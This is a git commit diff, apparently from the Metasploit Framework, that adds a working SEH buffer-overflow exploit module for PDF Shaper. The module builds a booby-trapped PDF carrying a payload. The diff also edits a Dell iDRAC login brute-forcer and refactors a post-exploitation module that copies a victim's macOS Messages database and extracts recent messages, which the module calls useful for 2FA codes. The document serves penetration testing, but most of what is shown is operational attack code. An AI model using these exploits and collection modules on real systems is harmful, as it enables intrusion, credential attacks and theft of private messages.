Resolve merge conflict
commit
56505d2cc1
|
@ -138,7 +138,7 @@ class Msf::Payload::UUID
|
|||
raise ArgumentError, "Raw UUID must be at least 16 bytes"
|
||||
end
|
||||
|
||||
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N')
|
||||
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N')
|
||||
plat = find_platform_name(plat_xor ^ plat_id)
|
||||
arch = find_architecture_name(arch_xor ^ arch_id)
|
||||
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first
|
||||
|
|
|
@ -77,6 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
password: pass,
|
||||
proof: auth.body.to_s
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PDF Shaper Buffer Overflow',
|
||||
'Description' => %q{
|
||||
PDF Shaper is prone to a security vulnerability when processing PDF files.
|
||||
The vulnerability appear when we use Convert PDF to Image and use a specially
|
||||
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
|
||||
Win 8, Win 10.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
|
||||
'metacom' # MSF Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.exploit-db.com/exploits/37760/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process', # none/process/thread/seh
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
|
||||
{
|
||||
'Ret' => 0x00402AC1, # PDFTools.exe
|
||||
'Offset' => 433
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Oct 03 2015',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
file_create(make_pdf)
|
||||
end
|
||||
|
||||
def jpeg
|
||||
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
|
||||
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
|
||||
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
|
||||
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
|
||||
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
|
||||
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
|
||||
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
|
||||
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
|
||||
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
|
||||
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
|
||||
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
|
||||
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
|
||||
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
|
||||
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
|
||||
buffer << rand_text(target['Offset']) # junk
|
||||
buffer << generate_seh_record(target.ret)
|
||||
buffer << payload.encoded
|
||||
buffer << rand_text(2388 - payload.encoded.length)
|
||||
buffer
|
||||
end
|
||||
|
||||
def make_pdf
|
||||
@pdf << header
|
||||
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
|
||||
add_object(2, "<</Type/Outlines>>")
|
||||
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
|
||||
add_object(4, "[/PDF/Text/ImageC]")
|
||||
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
|
||||
stream_1 = "stream" << eol
|
||||
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
|
||||
stream_1 << "endstream" << eol
|
||||
add_object(6, "<</Length 91>>#{stream_1}")
|
||||
stream = "<<" << eol
|
||||
stream << "/Width 230" << eol
|
||||
stream << "/BitsPerComponent 8" << eol
|
||||
stream << "/Name /X" << eol
|
||||
stream << "/Height 50" << eol
|
||||
stream << "/Intent /RelativeColorimetric" << eol
|
||||
stream << "/Subtype /Image" << eol
|
||||
stream << "/Filter /DCTDecode" << eol
|
||||
stream << "/Length #{jpeg.length}" << eol
|
||||
stream << "/ColorSpace /DeviceCMYK" << eol
|
||||
stream << "/Type /XObject" << eol
|
||||
stream << ">>"
|
||||
stream << "stream" << eol
|
||||
stream << jpeg << eol
|
||||
stream << "endstream" << eol
|
||||
add_object(7, stream)
|
||||
finish_pdf
|
||||
end
|
||||
end
|
|
@ -82,6 +82,6 @@ module MetasploitModule
|
|||
def generate_stage(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
|
||||
to_bininary :process_image
|
||||
to_binary :process_image
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,20 +14,20 @@ class MetasploitModule < Msf::Post
|
|||
'Description' => %q{
|
||||
This module will collect the Messages sqlite3 database files and chat logs
|
||||
from the victim's machine. There are four actions you may choose: DBFILE,
|
||||
READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
|
||||
LATEST will retrieve the last X number of message (useful with 2FA). Module
|
||||
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
|
||||
LATEST will retrieve the last X number of messages (useful with 2FA). Module
|
||||
was tested with OS X 10.11 (El Capitan).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Geckom <geckom[at]redteamr.com>'],
|
||||
'Platform' => ['osx'],
|
||||
'SessionTypes' => [ "meterpreter", "shell" ],
|
||||
'SessionTypes' => ['meterpreter', 'shell'],
|
||||
'Actions' =>
|
||||
[
|
||||
['DBFILE', { 'Description' => 'Collect messages DB file' } ],
|
||||
['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ],
|
||||
['LATEST', { 'Description' => 'Collect the latest message' } ],
|
||||
['ALL', { 'Description' => 'Collect all messages data'}]
|
||||
['DBFILE', 'Description' => 'Collect Messages DB file'],
|
||||
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
|
||||
['LATEST', 'Description' => 'Collect the latest message'],
|
||||
['ALL', 'Description' => 'Collect all Messages data']
|
||||
],
|
||||
'DefaultAction' => 'ALL'
|
||||
))
|
||||
|
@ -35,10 +35,42 @@ class MetasploitModule < Msf::Post
|
|||
register_options(
|
||||
[
|
||||
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
|
||||
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT'])
|
||||
], self.class)
|
||||
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['USER']
|
||||
user = datastore['USER']
|
||||
else
|
||||
user = cmd_exec('/usr/bin/whoami')
|
||||
end
|
||||
|
||||
# Check file exists
|
||||
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
||||
if file_exist?(messages_path)
|
||||
print_good("#{peer} - Messages DB found: #{messages_path}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
||||
end
|
||||
|
||||
# Check messages. And then set the default profile path
|
||||
unless messages_path
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found Messages file: #{messages_path}")
|
||||
|
||||
files = []
|
||||
|
||||
# Download file
|
||||
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
||||
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
||||
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
||||
|
||||
save(files)
|
||||
end
|
||||
|
||||
#
|
||||
# Collect messages db file.
|
||||
|
@ -49,7 +81,6 @@ class MetasploitModule < Msf::Post
|
|||
{filename: 'messages.db', mime: 'bin', data: message_data}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate a readable version of the messages DB
|
||||
#
|
||||
|
@ -68,7 +99,7 @@ class MetasploitModule < Msf::Post
|
|||
'ORDER BY m.date;'
|
||||
]
|
||||
sql = sql.join(' ')
|
||||
readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
|
||||
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
|
||||
end
|
||||
|
||||
|
@ -90,7 +121,7 @@ class MetasploitModule < Msf::Post
|
|||
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
|
||||
]
|
||||
sql = sql.join(' ')
|
||||
latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
|
||||
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||
print_good("#{peer} - Latest messages: \n#{latest_data}")
|
||||
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
|
||||
end
|
||||
|
@ -112,80 +143,4 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array or directory names
|
||||
#
|
||||
def dir(path)
|
||||
results = []
|
||||
subdirs = exec_shell_cmd("ls -l #{path}")
|
||||
|
||||
unless subdirs =~ /No such file or directory/
|
||||
results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
#
|
||||
# This is just a wrapper for cmd_exec(), except it chomp() the output,
|
||||
# and retry under certain conditions.
|
||||
#
|
||||
def exec_shell_cmd(cmd)
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
vprint_error("#{peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
rescue EOFError => e
|
||||
vprint_error("#{peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
def locate_messages(base)
|
||||
dir(base).each do |folder|
|
||||
m = folder.match(/(Messages)$/)
|
||||
if m
|
||||
m = m[0].gsub(/\x20/, "\\\\ ") + "/"
|
||||
return "#{base}#{m}"
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['USER'] == 'CURRENT'
|
||||
user = exec_shell_cmd("/usr/bin/whoami")
|
||||
else
|
||||
user = datastore['USER']
|
||||
end
|
||||
|
||||
# Check file exists
|
||||
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
||||
if file_exist?(messages_path)
|
||||
print_good("#{peer} - Messages DB found: #{messages_path}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
||||
end
|
||||
|
||||
# Check messages. And then set the default profile path
|
||||
unless messages_path
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found messages file: #{messages_path}")
|
||||
|
||||
files = []
|
||||
|
||||
# Download file
|
||||
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
||||
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
||||
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
||||
|
||||
save(files)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue